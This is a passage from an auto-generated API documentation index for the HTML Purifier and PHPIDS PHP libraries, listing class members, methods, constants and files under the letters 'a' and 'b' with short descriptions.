</dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_StrictBlockquote.html#var$allow_empty">HTMLPurifier_ChildDef_StrictBlockquote::$allow_empty</a> in StrictBlockquote.php</div> - </dd> - <dt class="field"> - <span class="var-title">$allow_null</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigDef_Directive.html#var$allow_null">HTMLPurifier_ConfigDef_Directive::$allow_null</a> in Directive.php</div> - <div class="index-item-description">Is null allowed? Has no effect for mixed type.</div> - </dd> - <dt class="field"> - <span class="var-title">$armor</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Token.html#var$armor">HTMLPurifier_Token::$armor</a> in Token.php</div> - <div class="index-item-description">Lookup array of processing that this token is exempt from.</div> - </dd> - <dt class="field"> - <span class="var-title">$attr</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ElementDef.html#var$attr">HTMLPurifier_ElementDef::$attr</a> in ElementDef.php</div> - <div class="index-item-description">Associative array of attribute name to HTMLPurifier_AttrDef</div> - </dd> - <dt class="field"> - <span class="var-title">$attr</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Token_Tag.html#var$attr">HTMLPurifier_Token_Tag::$attr</a> in Tag.php</div> - <div class="index-item-description">Associative array of the tag's attributes.</div> - </dd> - <dt class="field"> - <span class="var-title">$attr</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_BoolToCSS.html#var$attr">HTMLPurifier_AttrTransform_BoolToCSS::$attr</a> in BoolToCSS.php</div> - <div class="index-item-description">Name of boolean attribute that is trigger</div> - </dd> - <dt class="field"> - <span class="var-title">$attr</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_ImgSpace.html#var$attr">HTMLPurifier_AttrTransform_ImgSpace::$attr</a> in ImgSpace.php</div> - </dd> - <dt class="field"> - <span class="var-title">$attr</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_EnumToCSS.html#var$attr">HTMLPurifier_AttrTransform_EnumToCSS::$attr</a> in EnumToCSS.php</div> - <div class="index-item-description">Name of attribute to transform from</div> - </dd> - <dt class="field"> - <span class="var-title">$attrCollections</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModuleManager.html#var$attrCollections">HTMLPurifier_HTMLModuleManager::$attrCollections</a> in HTMLModuleManager.php</div> - <div class="index-item-description">< Instance of HTMLPurifier_ContentSets</div> - </dd> - <dt class="field"> - <span class="var-title">$attrTypes</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModuleManager.html#var$attrTypes">HTMLPurifier_HTMLModuleManager::$attrTypes</a> in HTMLModuleManager.php</div> - <div class="index-item-description">Instance of HTMLPurifier_AttrTypes</div> - </dd> - <dt class="field"> - <span class="var-title">$attr_collections</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_CommonAttributes.html#var$attr_collections">HTMLPurifier_HTMLModule_CommonAttributes::$attr_collections</a> in CommonAttributes.php</div> - </dd> - <dt class="field"> - <span class="var-title">$attr_collections</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_XMLCommonAttributes.html#var$attr_collections">HTMLPurifier_HTMLModule_XMLCommonAttributes::$attr_collections</a> in XMLCommonAttributes.php</div> - </dd> - <dt class="field"> - <span class="var-title">$attr_collections</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Bdo.html#var$attr_collections">HTMLPurifier_HTMLModule_Bdo::$attr_collections</a> in Bdo.php</div> - </dd> - <dt class="field"> - <span class="var-title">$attr_collections</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule.html#var$attr_collections">HTMLPurifier_HTMLModule::$attr_collections</a> in HTMLModule.php</div> - <div class="index-item-description">Associative array of attribute collection names to attribute</div> - </dd> - <dt class="field"> - <span class="var-title">$attr_collections</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_StyleAttribute.html#var$attr_collections">HTMLPurifier_HTMLModule_StyleAttribute::$attr_collections</a> in StyleAttribute.php</div> - </dd> - <dt class="field"> - <span class="var-title">$attr_collections</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_NonXMLCommonAttributes.html#var$attr_collections">HTMLPurifier_HTMLModule_NonXMLCommonAttributes::$attr_collections</a> in NonXMLCommonAttributes.php</div> - </dd> - <dt class="field"> - <span class="var-title">$attr_transform_post</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ElementDef.html#var$attr_transform_post">HTMLPurifier_ElementDef::$attr_transform_post</a> in ElementDef.php</div> - <div class="index-item-description">Indexed list of tag's HTMLPurifier_AttrTransform to be done after validation</div> - </dd> - <dt class="field"> - <span class="var-title">$attr_transform_pre</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ElementDef.html#var$attr_transform_pre">HTMLPurifier_ElementDef::$attr_transform_pre</a> in ElementDef.php</div> - <div class="index-item-description">Indexed list of tag's HTMLPurifier_AttrTransform to be done before validation</div> - </dd> - <dt class="field"> - <span class="var-title">$autoFinalize</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Config.html#var$autoFinalize">HTMLPurifier_Config::$autoFinalize</a> in Config.php</div> - <div class="index-item-description">Bool indicator whether or not to automatically finalize</div> - </dd> - <dt class="field"> - <span class="method-title">add</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_IDAccumulator.html#methodadd">HTMLPurifier_IDAccumulator::add()</a> in IDAccumulator.php</div> - <div class="index-item-description">Add an ID to the lookup table.</div> - </dd> - <dt class="field"> - <span class="method-title">add</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Decorator.html#methodadd">HTMLPurifier_DefinitionCache_Decorator::add()</a> in Decorator.php</div> - </dd> - <dt class="field"> - <span class="method-title">add</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Null.html#methodadd">HTMLPurifier_DefinitionCache_Null::add()</a> in Null.php</div> - </dd> - <dt class="field"> - <span class="method-title">add</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Decorator_Memory.html#methodadd">HTMLPurifier_DefinitionCache_Decorator_Memory::add()</a> in Memory.php</div> - </dd> - <dt class="field"> - <span class="method-title">add</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Decorator_Cleanup.html#methodadd">HTMLPurifier_DefinitionCache_Decorator_Cleanup::add()</a> in Cleanup.php</div> - </dd> - <dt class="field"> - <span class="method-title">add</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema.html#methodadd">HTMLPurifier_ConfigSchema::add()</a> in ConfigSchema.php</div> - <div class="index-item-description">Defines a directive for configuration</div> - </dd> - <dt class="field"> - <span class="method-title">add</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Serializer.html#methodadd">HTMLPurifier_DefinitionCache_Serializer::add()</a> in Serializer.php</div> - </dd> - <dt class="field"> - <span class="method-title">add</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache.html#methodadd">HTMLPurifier_DefinitionCache::add()</a> in DefinitionCache.php</div> - <div class="index-item-description">Adds a definition object to the cache</div> - </dd> - <dt class="field"> - <span class="method-title">addAlias</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema.html#methodaddAlias">HTMLPurifier_ConfigSchema::addAlias()</a> in ConfigSchema.php</div> - <div class="index-item-description">Defines a directive alias for backwards compatibility</div> - </dd> - <dt class="field"> - <span class="method-title">addAllowedValues</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema.html#methodaddAllowedValues">HTMLPurifier_ConfigSchema::addAllowedValues()</a> in ConfigSchema.php</div> - <div class="index-item-description">Defines a set of allowed values for a directive.</div> - </dd> - <dt class="field"> - <span class="method-title">addAttribute</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLDefinition.html#methodaddAttribute">HTMLPurifier_HTMLDefinition::addAttribute()</a> in HTMLDefinition.php</div> - <div class="index-item-description">Adds a custom attribute to a pre-existing element</div> - </dd> - <dt class="field"> - <span class="method-title">addBlankElement</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLDefinition.html#methodaddBlankElement">HTMLPurifier_HTMLDefinition::addBlankElement()</a> in HTMLDefinition.php</div> - <div class="index-item-description">Adds a blank element to your HTML definition, for overriding</div> - </dd> - <dt class="field"> - <span class="method-title">addBlankElement</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule.html#methodaddBlankElement">HTMLPurifier_HTMLModule::addBlankElement()</a> in HTMLModule.php</div> - <div class="index-item-description">Convenience function that creates a totally blank, non-standalone element.</div> - </dd> - <dt class="field"> - <span class="method-title">addDecorator</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCacheFactory.html#methodaddDecorator">HTMLPurifier_DefinitionCacheFactory::addDecorator()</a> in DefinitionCacheFactory.php</div> - <div class="index-item-description">Registers a decorator to add to all new cache objects</div> - </dd> - <dt class="field"> - <span class="method-title">addDirective</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Interchange.html#methodaddDirective">HTMLPurifier_ConfigSchema_Interchange::addDirective()</a> in Interchange.php</div> - <div class="index-item-description">Adds a directive array to $directives</div> - </dd> - <dt class="field"> - <span class="method-title">addElement</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule.html#methodaddElement">HTMLPurifier_HTMLModule::addElement()</a> in HTMLModule.php</div> - <div class="index-item-description">Convenience function that sets up a new element</div> - </dd> - <dt class="field"> - <span class="method-title">addElement</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLDefinition.html#methodaddElement">HTMLPurifier_HTMLDefinition::addElement()</a> in HTMLDefinition.php</div> - <div class="index-item-description">Adds a custom element to your HTML definition</div> - </dd> - <dt class="field"> - <span class="method-title">addElementToContentSet</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule.html#methodaddElementToContentSet">HTMLPurifier_HTMLModule::addElementToContentSet()</a> in HTMLModule.php</div> - <div class="index-item-description">Convenience function that registers an element to a content set</div> - </dd> - <dt class="field"> - <span class="method-title">addError</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ErrorStruct.html#methodaddError">HTMLPurifier_ErrorStruct::addError()</a> in ErrorStruct.php</div> - </dd> - <dt class="field"> - <span class="method-title">addEvent</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Report.html#methodaddEvent">IDS_Report::addEvent()</a> in Report.php</div> - <div class="index-item-description">Adds an IDS_Event object to the report</div> - </dd> - <dt class="field"> - <span class="method-title">addFilter</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter_Storage.html#methodaddFilter">IDS_Filter_Storage::addFilter()</a> in Storage.php</div> - <div class="index-item-description">Adds a filter</div> - </dd> - <dt class="field"> - <span class="method-title">addFilter</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier.html#methodaddFilter">HTMLPurifier::addFilter()</a> in HTMLPurifier.php</div> - <div class="index-item-description">Adds a filter to process the output. First come first serve</div> - </dd> - <dt class="field"> - <span class="method-title">addFilter</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIDefinition.html#methodaddFilter">HTMLPurifier_URIDefinition::addFilter()</a> in URIDefinition.php</div> - </dd> - <dt class="field"> - <span class="method-title">addHtml</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Monitor.html#methodaddHtml">IDS_Monitor::addHtml()</a> in Monitor.php</div> - <div class="index-item-description">Adds a value to the html array</div> - </dd> - <dt class="field"> - <span class="method-title">addJson</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Monitor.html#methodaddJson">IDS_Monitor::addJson()</a> in Monitor.php</div> - <div class="index-item-description">Adds a value to the json array</div> - </dd> - <dt class="field"> - <span class="method-title">addLogger</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_Composite.html#methodaddLogger">IDS_Log_Composite::addLogger()</a> in Composite.php</div> - <div class="index-item-description">Registers a new logging wrapper</div> - </dd> - <dt class="field"> - <span class="method-title">addModule</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModuleManager.html#methodaddModule">HTMLPurifier_HTMLModuleManager::addModule()</a> in HTMLModuleManager.php</div> - <div class="index-item-description">Adds a module to the current doctype by first registering it,</div> - </dd> - <dt class="field"> - <span class="method-title">addNamespace</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Interchange.html#methodaddNamespace">HTMLPurifier_ConfigSchema_Interchange::addNamespace()</a> in Interchange.php</div> - <div class="index-item-description">Adds a namespace array to $namespaces</div> - </dd> - <dt class="field"> - <span class="method-title">addNamespace</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema.html#methodaddNamespace">HTMLPurifier_ConfigSchema::addNamespace()</a> in ConfigSchema.php</div> - <div class="index-item-description">Defines a namespace for directives to be put into.</div> - </dd> - <dt class="field"> - <span class="method-title">addPrefix</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModuleManager.html#methodaddPrefix">HTMLPurifier_HTMLModuleManager::addPrefix()</a> in HTMLModuleManager.php</div> - <div class="index-item-description">Adds a class prefix that registerModule() will use to resolve a</div> - </dd> - <dt class="field"> - <span class="method-title">addValueAliases</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema.html#methodaddValueAliases">HTMLPurifier_ConfigSchema::addValueAliases()</a> in ConfigSchema.php</div> - <div class="index-item-description">Defines a directive value alias.</div> - </dd> - <dt class="field"> - AFTER_BODY - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5TreeConstructer.html#constAFTER_BODY">HTML5TreeConstructer::AFTER_BODY</a> in PH5P.php</div> - </dd> - <dt class="field"> - AFTER_HEAD - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5TreeConstructer.html#constAFTER_HEAD">HTML5TreeConstructer::AFTER_HEAD</a> in PH5P.php</div> - </dd> - <dt class="field"> - AFTR_FRAME - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5TreeConstructer.html#constAFTR_FRAME">HTML5TreeConstructer::AFTR_FRAME</a> in PH5P.php</div> - </dd> - <dt class="field"> - ALIST - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_VarParser.html#constALIST">HTMLPurifier_VarParser::ALIST</a> in VarParser.php</div> - </dd> - <dt class="field"> - <span class="method-title">allowsElement</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector.html#methodallowsElement">HTMLPurifier_Injector::allowsElement()</a> in Injector.php</div> - <div class="index-item-description">Tests if the context node allows a certain element</div> - </dd> - <dt class="field"> - <span class="method-title">assertAlnum</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_ValidatorAtom.html#methodassertAlnum">HTMLPurifier_ConfigSchema_ValidatorAtom::assertAlnum()</a> in ValidatorAtom.php</div> - </dd> - <dt class="field"> - <span class="method-title">assertIsArray</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_ValidatorAtom.html#methodassertIsArray">HTMLPurifier_ConfigSchema_ValidatorAtom::assertIsArray()</a> in ValidatorAtom.php</div> - </dd> - <dt class="field"> - <span class="method-title">assertIsBool</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_ValidatorAtom.html#methodassertIsBool">HTMLPurifier_ConfigSchema_ValidatorAtom::assertIsBool()</a> in ValidatorAtom.php</div> - </dd> - <dt class="field"> - <span class="method-title">assertIsLookup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_ValidatorAtom.html#methodassertIsLookup">HTMLPurifier_ConfigSchema_ValidatorAtom::assertIsLookup()</a> in ValidatorAtom.php</div> - </dd> - <dt class="field"> - <span class="method-title">assertIsString</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_ValidatorAtom.html#methodassertIsString">HTMLPurifier_ConfigSchema_ValidatorAtom::assertIsString()</a> in ValidatorAtom.php</div> - </dd> - <dt class="field"> - <span class="method-title">assertNotEmpty</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_ValidatorAtom.html#methodassertNotEmpty">HTMLPurifier_ConfigSchema_ValidatorAtom::assertNotEmpty()</a> in ValidatorAtom.php</div> - </dd> - <dt class="field"> - <span class="method-title">assertNotNull</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_ValidatorAtom.html#methodassertNotNull">HTMLPurifier_ConfigSchema_ValidatorAtom::assertNotNull()</a> in ValidatorAtom.php</div> - </dd> - <dt class="field"> - ATTR - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ErrorStruct.html#constATTR">HTMLPurifier_ErrorStruct::ATTR</a> in ErrorStruct.php</div> - </dd> - <dt class="field"> - <span class="method-title">autoFinalize</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Config.html#methodautoFinalize">HTMLPurifier_Config::autoFinalize()</a> in Config.php</div> - <div class="index-item-description">Finalizes configuration only if auto finalize is on and not</div> - </dd> - <dt class="field"> - <span class="method-title">autoload</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Bootstrap.html#methodautoload">HTMLPurifier_Bootstrap::autoload()</a> in Bootstrap.php</div> - <div class="index-item-description">Autoload function for HTML Purifier</div> - </dd> - <dt class="field"> - <span class="include-title">AttrCollections.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrCollections.php.html">AttrCollections.php</a> in AttrCollections.php</div> - </dd> - <dt class="field"> - <span class="include-title">AlphaValue.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---CSS---AlphaValue.php.html">AlphaValue.php</a> in AlphaValue.php</div> - </dd> - <dt class="field"> - <span class="include-title">AttrDef.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef.php.html">AttrDef.php</a> in AttrDef.php</div> - </dd> - <dt class="field"> - <span class="include-title">AttrTransform.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrTransform.php.html">AttrTransform.php</a> in AttrTransform.php</div> - </dd> - <dt class="field"> - <span class="include-title">AttrTypes.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrTypes.php.html">AttrTypes.php</a> in AttrTypes.php</div> - </dd> - <dt class="field"> - <span class="include-title">AttrValidator.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrValidator.php.html">AttrValidator.php</a> in AttrValidator.php</div> - </dd> - <dt class="field"> - <span class="include-title">AutoParagraph.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Injector---AutoParagraph.php.html">AutoParagraph.php</a> in AutoParagraph.php</div> - </dd> - </dl> - <a name="b"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">b</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="var-title">$base</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIDefinition.html#var$base">HTMLPurifier_URIDefinition::$base</a> in URIDefinition.php</div> - <div class="index-item-description">HTMLPurifier_URI object of the base specified at %URI.Base</div> - </dd> - <dt class="field"> - <span class="var-title">$base</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIFilter_MakeAbsolute.html#var$base">HTMLPurifier_URIFilter_MakeAbsolute::$base</a> in MakeAbsolute.php</div> - </dd> - <dt class="field"> - <span class="var-title">$basePathStack</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIFilter_MakeAbsolute.html#var$basePathStack">HTMLPurifier_URIFilter_MakeAbsolute::$basePathStack</a> in MakeAbsolute.php</div> - </dd> - <dt class="field"> - <span class="var-title">$blacklist</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIFilter_HostBlacklist.html#var$blacklist">HTMLPurifier_URIFilter_HostBlacklist::$blacklist</a> in HostBlacklist.php</div> - </dd> - <dt class="field"> - <span class="var-title">$block</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_Chameleon.html#var$block">HTMLPurifier_ChildDef_Chameleon::$block</a> in Chameleon.php</div> - <div class="index-item-description">Instance of the definition object to use when block.</div> - </dd> - <dt class="field"> - <span class="var-title">$browsable</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIScheme_mailto.html#var$browsable">HTMLPurifier_URIScheme_mailto::$browsable</a> in mailto.php</div> - </dd> - <dt class="field"> - <span class="var-title">$browsable</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIScheme_ftp.html#var$browsable">HTMLPurifier_URIScheme_ftp::$browsable</a> in ftp.php</div> - </dd> - <dt class="field"> - <span class="var-title">$browsable</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIScheme_http.html#var$browsable">HTMLPurifier_URIScheme_http::$browsable</a> in http.php</div> - </dd> - <dt class="field"> - <span class="var-title">$browsable</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIScheme_news.html#var$browsable">HTMLPurifier_URIScheme_news::$browsable</a> in news.php</div> - </dd> - <dt class="field"> - <span class="var-title">$browsable</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIScheme.html#var$browsable">HTMLPurifier_URIScheme::$browsable</a> in URIScheme.php</div> - <div class="index-item-description">Whether or not URIs of this schem are locatable by a browser http and ftp are accessible, while mailto and news are not.</div> - </dd> - <dt class="field"> - <span class="var-title">$browsable</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIScheme_nntp.html#var$browsable">HTMLPurifier_URIScheme_nntp::$browsable</a> in nntp.php</div> - </dd> - <dt class="field"> - <span class="method-title">backward</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector.html#methodbackward">HTMLPurifier_Injector::backward()</a> in Injector.php</div> - <div class="index-item-description">Iterator function, starts with the previous token and continues until you reach the beginning of input tokens.</div> - </dd> - <dt class="field"> - BEFOR_HEAD - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5TreeConstructer.html#constBEFOR_HEAD">HTML5TreeConstructer::BEFOR_HEAD</a> in PH5P.php</div> - </dd> - <dt class="field"> - BOOL - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_VarParser.html#constBOOL">HTMLPurifier_VarParser::BOOL</a> in VarParser.php</div> - </dd> - <dt class="field"> - <span class="method-title">build</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Builder_Xml.html#methodbuild">HTMLPurifier_ConfigSchema_Builder_Xml::build()</a> in Xml.php</div> - </dd> - <dt class="field"> - <span class="method-title">build</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_InterchangeBuilder.html#methodbuild">HTMLPurifier_ConfigSchema_InterchangeBuilder::build()</a> in InterchangeBuilder.php</div> - <div class="index-item-description">Builds an interchange object based on a hash.</div> - </dd> - <dt class="field"> - <span class="method-title">build</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_IDAccumulator.html#methodbuild">HTMLPurifier_IDAccumulator::build()</a> in IDAccumulator.php</div> - <div class="index-item-description">Builds an IDAccumulator, also initializing the default blacklist</div> - </dd> - <dt class="field"> - <span class="method-title">build</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Builder_ConfigSchema.html#methodbuild">HTMLPurifier_ConfigSchema_Builder_ConfigSchema::build()</a> in ConfigSchema.php</div> - </dd> - <dt class="field"> - <span class="method-title">buildDirective</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_InterchangeBuilder.html#methodbuildDirective">HTMLPurifier_ConfigSchema_InterchangeBuilder::buildDirective()</a> in InterchangeBuilder.php</div> - </dd> - <dt class="field"> - <span class="method-title">buildDirective</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Builder_Xml.html#methodbuildDirective">HTMLPurifier_ConfigSchema_Builder_Xml::buildDirective()</a> in Xml.php</div> - </dd> - <dt class="field"> - <span class="method-title">buildFromDirectory</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_InterchangeBuilder.html#methodbuildFromDirectory">HTMLPurifier_ConfigSchema_InterchangeBuilder::buildFromDirectory()</a> in InterchangeBuilder.php</div> - </dd> - <dt class="field"> - <span class="method-title">buildNamespace</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_InterchangeBuilder.html#methodbuildNamespace">HTMLPurifier_ConfigSchema_InterchangeBuilder::buildNamespace()</a> in InterchangeBuilder.php</div> - </dd> - <dt class="field"> - <span class="method-title">buildNamespace</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Builder_Xml.html#methodbuildNamespace">HTMLPurifier_ConfigSchema_Builder_Xml::buildNamespace()</a> in Xml.php</div> - </dd> - <dt class="field"> - <span class="include-title">Background.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---CSS---Background.php.html">Background.php</a> in Background.php</div> - </dd> - <dt class="field"> - <span class="include-title">BackgroundPosition.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---CSS---BackgroundPosition.php.html">BackgroundPosition.php</a> in BackgroundPosition.php</div> - </dd> - <dt class="field"> - <span class="include-title">Border.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---CSS---Border.php.html">Border.php</a> in Border.php</div> - </dd> - <dt class="field"> - <span class="include-title">Bool.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---HTML---Bool.php.html">Bool.php</a> in Bool.php</div> - </dd> - <dt class="field"> - <span class="include-title">Background.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrTransform---Background.php.html">Background.php</a> in Background.php</div> - </dd> - <dt class="field"> - <span class="include-title">BdoDir.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrTransform---BdoDir.php.html">BdoDir.php</a> in BdoDir.php</div> - </dd> - <dt class="field"> - <span class="include-title">BgColor.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrTransform---BgColor.php.html">BgColor.php</a> in BgColor.php</div> - </dd> - <dt class="field"> - <span class="include-title">BoolToCSS.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrTransform---BoolToCSS.php.html">BoolToCSS.php</a> in 